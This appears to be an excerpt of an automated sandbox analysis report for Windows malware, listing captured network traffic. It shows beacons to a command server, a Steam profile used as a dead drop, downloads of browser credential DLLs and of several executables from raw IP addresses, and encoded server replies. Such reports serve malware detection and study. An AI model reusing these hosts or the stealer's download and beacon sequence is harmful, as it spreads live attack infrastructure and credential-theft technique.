Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://caefrlsewqoaju.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 305Host: dbfhns.in
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://bjcivuphfkkr.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 234Host: dbfhns.in
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://sdscberxlhps.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 361Host: dbfhns.in
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://gkjoqsoewca.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 134Host: dbfhns.in
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://hhlofuoqneckx.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 193Host: dbfhns.in
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://nygflvrwjiwigd.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 148Host: dbfhns.in
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://iuqvispkjnrqwr.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 347Host: dbfhns.in
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://lnnxnofesovuip.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 115Host: dbfhns.in
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://orsrbhepjknkic.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 357Host: dbfhns.in
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://vmhgovbhvgan.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 151Host: dbfhns.in
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://geojjabhsye.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 365Host: dbfhns.in
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://mmoytfgyxyxpsi.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 349Host: dbfhns.in
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://njscijpdcohnar.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 205Host: dbfhns.in
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://tssxxpdwgkaqunjd.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 294Host: dbfhns.in
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://hnsdtfxaaeohqfta.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 153Host: dbfhns.in
Source: global traffic HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://ioilnxgrkungvgve.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 293Host: dbfhns.in
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: unknown TCP traffic detected without corresponding DNS query: 45.129.96.86
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB0CC60 PR_Recv, 11_2_6CB0CC60
Source: global traffic HTTP traffic detected: GET /profiles/76561199689717899 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /sqls.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /file/update.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 45.129.96.86
Source: global traffic HTTP traffic detected: GET /pintxi1lv.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 23.145.40.124
Source: global traffic HTTP traffic detected: GET /file/host_so.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.235.137.54
Source: global traffic HTTP traffic detected: GET /sdf34ert3etgrthrthfghfghjfgh.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 91.202.233.231
Source: katB4C0.tmp, 0000000B.00000003.2317523394.0000000000983000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: global traffic DNS traffic detected: DNS query: dbfhns.in
Source: global traffic DNS traffic detected: DNS query: whispedwoodmoodsksl.shop
Source: global traffic DNS traffic detected: DNS query: steamcommunity.com
Source: unknown HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: whispedwoodmoodsksl.shop
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 26 May 2024 08:28:22 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 04 00 00 00 72 e8 85 ec Data Ascii: r
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 26 May 2024 08:28:23 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 26 May 2024 08:28:24 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 26 May 2024 08:28:25 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 26 May 2024 08:28:26 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 26 May 2024 08:28:27 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 d0 9e 5c 2d 5e 24 17 a6 61 44 a2 ae 09 ab c8 ad ac 2b 98 2b 9a ed 33 5e 14 98 8f c1 cb 7c d1 Data Ascii: #\-^$aD++3^|
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 26 May 2024 08:28:30 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 26 May 2024 08:28:31 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 26 May 2024 08:28:32 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 26 May 2024 08:28:33 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 d0 9e 5c 2b 58 24 17 a0 6d 44 af a8 09 a2 cc b6 e5 32 9d 20 c1 e0 2a 0b 19 9a c4 8a d6 61 Data Ascii: #\+X$mD2 *a
